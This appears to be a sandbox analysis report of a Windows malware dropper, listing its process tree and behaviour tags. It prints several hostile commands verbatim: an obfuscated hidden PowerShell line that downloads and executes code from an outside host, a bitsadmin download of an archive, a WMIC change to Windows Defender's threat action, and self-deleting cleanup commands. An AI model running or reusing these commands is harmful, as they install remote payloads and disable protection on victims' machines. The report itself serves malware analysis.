"C:\Users\Admin\AppData\Local\Temp\is-45UOQ.tmp\postback.exe" ss1
11⤵
PID:5604

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.top/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
12⤵
PID:2656

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.top/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
13⤵
PID:3848

C:\Users\Admin\AppData\Local\Temp\ayQ1OLz2q.exe
"C:\Users\Admin\AppData\Local\Temp\ayQ1OLz2q.exe"
12⤵
PID:2356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 296
13⤵
- Program crash
PID:1472

C:\Users\Admin\AppData\Local\Temp\tingwang-game.exe
"C:\Users\Admin\AppData\Local\Temp\tingwang-game.exe"
7⤵
- Executes dropped EXE
PID:5884

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
- Enumerates system info in registry
PID:5980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15c47a7c807b12d1.exe
4⤵
PID:4556

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15c47a7c807b12d1.exe
Fri15c47a7c807b12d1.exe
5⤵
- Executes dropped EXE
PID:864

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15c47a7c807b12d1.exe
C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15c47a7c807b12d1.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5868

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1520f78358.exe
4⤵
PID:4816

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri1520f78358.exe
Fri1520f78358.exe
5⤵
- Executes dropped EXE
PID:5204

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri157e966e73fe.exe
4⤵
PID:4420

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri157e966e73fe.exe
Fri157e966e73fe.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5328

C:\Users\Admin\AppData\Roaming\8832905.scr
"C:\Users\Admin\AppData\Roaming\8832905.scr" /S
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5152

C:\Users\Admin\AppData\Roaming\6277391.scr
"C:\Users\Admin\AppData\Roaming\6277391.scr" /S
6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5252

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
7⤵
- Executes dropped EXE
PID:2324

C:\Users\Admin\AppData\Roaming\3442319.scr
"C:\Users\Admin\AppData\Roaming\3442319.scr" /S
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:564

C:\Users\Admin\AppData\Roaming\7046395.scr
"C:\Users\Admin\AppData\Roaming\7046395.scr" /S
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1476

C:\Users\Admin\AppData\Roaming\5571864.scr
"C:\Users\Admin\AppData\Roaming\5571864.scr" /S
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1872

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri159afce91b41.exe
4⤵
PID:3972

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri159afce91b41.exe
Fri159afce91b41.exe
5⤵
- Executes dropped EXE
PID:5192

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15517df7a88264b6.exe
4⤵
PID:4736

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15517df7a88264b6.exe
Fri15517df7a88264b6.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 1852
6⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1503acc0996b574.exe
4⤵
PID:1656

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1586c2482e5c8a45.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1168

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1574d7b3751ed.exe /mixone
4⤵
PID:5144

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv 92GwURs0+UOTl7UTHcO7Cw.0.2
1⤵
- Modifies data under HKEY_USERS
PID:4452

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri1503acc0996b574.exe
Fri1503acc0996b574.exe
1⤵
- Executes dropped EXE
PID:4752

C:\Users\Admin\AppData\Local\Temp\is-4IQV4.tmp\Fri1503acc0996b574.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4IQV4.tmp\Fri1503acc0996b574.tmp" /SL5="$2008A,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri1503acc0996b574.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5344

C:\Users\Admin\AppData\Local\Temp\is-4L3FJ.tmp\EtalevzaJet.exe
"C:\Users\Admin\AppData\Local\Temp\is-4L3FJ.tmp\EtalevzaJet.exe" /S /UID=burnerch2
3⤵
- Executes dropped EXE
PID:5592

C:\Program Files\Windows NT\VNGIYJHTZY\ultramediaburner.exe
"C:\Program Files\Windows NT\VNGIYJHTZY\ultramediaburner.exe" /VERYSILENT
4⤵
PID:5924

C:\Users\Admin\AppData\Local\Temp\is-5KC5E.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5KC5E.tmp\ultramediaburner.tmp" /SL5="$30356,281924,62464,C:\Program Files\Windows NT\VNGIYJHTZY\ultramediaburner.exe" /VERYSILENT
5⤵
PID:3560

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
6⤵
PID:4356

C:\Users\Admin\AppData\Local\Temp\62-c1ade-95d-51aa1-be76628e3b9c0\Redaeqopaba.exe
"C:\Users\Admin\AppData\Local\Temp\62-c1ade-95d-51aa1-be76628e3b9c0\Redaeqopaba.exe"
4⤵
PID:6504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
5⤵
PID:5228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff9df8546f8,0x7ff9df854708,0x7ff9df854718
6⤵
PID:7112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2
6⤵
PID:3328

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 /prefetch:3
6⤵
PID:2540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
6⤵
PID:1496

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
6⤵
PID:652

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
6⤵
PID:6108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5048 /prefetch:1
6⤵
PID:552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
6⤵
PID:4524

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
6⤵
PID:1444

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5636 /prefetch:8
6⤵
PID:4528

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5636 /prefetch:8
6⤵
PID:5432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3764 /prefetch:2
6⤵
PID:2660

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1804 /prefetch:1
6⤵
PID:1172

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,2786693567330168630,6588432449672360216,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3640 /prefetch:1
6⤵
PID:3300

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
5⤵
PID:6232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff9df8546f8,0x7ff9df854708,0x7ff9df854718
6⤵
PID:6184

C:\Users\Admin\AppData\Local\Temp\e0-d2cc9-af0-f66ae-02b40c67c8b72\Ruzhubozhuce.exe
"C:\Users\Admin\AppData\Local\Temp\e0-d2cc9-af0-f66ae-02b40c67c8b72\Ruzhubozhuce.exe"
4⤵
PID:3580

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pntxisvt.f5t\GcleanerEU.exe /eufive & exit
5⤵
PID:5080

C:\Users\Admin\AppData\Local\Temp\pntxisvt.f5t\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\pntxisvt.f5t\GcleanerEU.exe /eufive
6⤵
PID:5196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5196 -s 204
7⤵
- Program crash
PID:5816

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ystfqckc.0pf\installer.exe /qn CAMPAIGN="654" & exit
5⤵
PID:5244

C:\Users\Admin\AppData\Local\Temp\ystfqckc.0pf\installer.exe
C:\Users\Admin\AppData\Local\Temp\ystfqckc.0pf\installer.exe /qn CAMPAIGN="654"
6⤵
PID:3836

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\ystfqckc.0pf\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ystfqckc.0pf\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632667629 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
7⤵
PID:2376

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wo4ev2fn.nqj\any.exe & exit
5⤵
PID:5492

C:\Users\Admin\AppData\Local\Temp\wo4ev2fn.nqj\any.exe
C:\Users\Admin\AppData\Local\Temp\wo4ev2fn.nqj\any.exe
6⤵
PID:5180

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2pmk5dba.cfp\gcleaner.exe /mixfive & exit
5⤵
PID:6928

C:\Users\Admin\AppData\Local\Temp\2pmk5dba.cfp\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\2pmk5dba.cfp\gcleaner.exe /mixfive
6⤵
PID:3960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 300
7⤵
- Program crash
PID:3116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vsogwxw3.32e\autosubplayer.exe /S & exit
5⤵
PID:4272

C:\Users\Admin\AppData\Local\Temp\vsogwxw3.32e\autosubplayer.exe
C:\Users\Admin\AppData\Local\Temp\vsogwxw3.32e\autosubplayer.exe /S
6⤵
PID:7068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB441.tmp\tempfile.ps1"
7⤵
PID:4152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB441.tmp\tempfile.ps1"
7⤵
PID:736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB441.tmp\tempfile.ps1"
7⤵
PID:3332

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB441.tmp\tempfile.ps1"
7⤵
PID:6572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB441.tmp\tempfile.ps1"
7⤵
PID:1516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB441.tmp\tempfile.ps1"
7⤵
PID:7044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB441.tmp\tempfile.ps1"
7⤵
PID:5216

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://lighteningstoragecenter.com/data/data.7z C:\zip.7z
7⤵
- Download via BitsAdmin
PID:7108

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri1586c2482e5c8a45.exe
Fri1586c2482e5c8a45.exe
1⤵
- Executes dropped EXE
PID:4612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 244
2⤵
- Program crash
PID:5980

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri1574d7b3751ed.exe
Fri1574d7b3751ed.exe /mixone
1⤵
- Executes dropped EXE
PID:5240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5240 -s 240
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3900 -ip 3900
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4964 -ip 4964
1⤵
PID:5792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4612 -ip 4612
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5240 -ip 5240
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5192 -ip 5192
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 4564 -ip 4564
1⤵
PID:5360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5372 -ip 5372
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1720

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 464 -p 956 -ip 956
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5680 -ip 5680
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5788 -ip 5788
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:6900

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 440 -p 7100 -ip 7100
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:6612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3020 -ip 3020
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 6188 -ip 6188
1⤵
PID:1480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5128 -ip 5128
1⤵
PID:2940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 1652 -ip 1652
1⤵
PID:2892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5556 -ip 5556
1⤵
PID:5316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4196 -ip 4196
1⤵
PID:5264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2308 -ip 2308
1⤵
PID:3956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2420 -ip 2420
1⤵
PID:6520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 2356 -ip 2356
1⤵
PID:6000

C:\Users\Admin\AppData\Local\Temp\47E7.exe
C:\Users\Admin\AppData\Local\Temp\47E7.exe
1⤵
PID:2068

C:\Users\Admin\AppData\Local\Temp\47E7.exe
C:\Users\Admin\AppData\Local\Temp\47E7.exe
2⤵
PID:7048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 1068 -ip 1068
1⤵
PID:4008

C:\Users\Admin\AppData\Local\Temp\82CE.exe
C:\Users\Admin\AppData\Local\Temp\82CE.exe
1⤵
PID:660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 4236 -ip 4236
1⤵
PID:5872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 2388 -ip 2388
1⤵
PID:6004

C:\Users\Admin\AppData\Local\Temp\B931.exe
C:\Users\Admin\AppData\Local\Temp\B931.exe
1⤵
PID:4748

C:\ProgramData\Stub.exe
"C:\ProgramData\Stub.exe"
2⤵
PID:1204

C:\Users\Admin\AppData\Local\Temp\CF89.exe
C:\Users\Admin\AppData\Local\Temp\CF89.exe
1⤵
PID:1224

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5624

C:\Users\Admin\AppData\Local\Temp\FF06.exe
C:\Users\Admin\AppData\Local\Temp\FF06.exe
1⤵
PID:2524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 296
2⤵
- Program crash
PID:3060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 2524 -ip 2524
1⤵
PID:6704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:4436

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:1172

C:\Users\Admin\AppData\Local\Temp\A51B.exe
C:\Users\Admin\AppData\Local\Temp\A51B.exe
1⤵
PID:440

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\A51B.exe"
2⤵
PID:3840

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:5464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7032

C:\Users\Admin\AppData\Local\Temp\DB3F.exe
C:\Users\Admin\AppData\Local\Temp\DB3F.exe
1⤵
PID:4320

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
2⤵
PID:424

C:\Users\Admin\AppData\Local\Temp\F70.exe
C:\Users\Admin\AppData\Local\Temp\F70.exe
1⤵
PID:5896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5896 -s 304
2⤵
- Program crash
PID:6700

C:\Users\Admin\AppData\Local\Temp\3DE3.exe
C:\Users\Admin\AppData\Local\Temp\3DE3.exe
1⤵
PID:5528

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\3DE3.exe" & exit
2⤵
PID:3688

C:\Windows\SysWOW64\timeout.exe
timeout /t 5
3⤵
- Delays execution with timeout.exe
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3804

C:\Users\Admin\AppData\Local\Temp\5FD4.exe
C:\Users\Admin\AppData\Local\Temp\5FD4.exe
1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5916

C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
"C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
2⤵
PID:6716

C:\Windows\SysWOW64\WerFault.exe
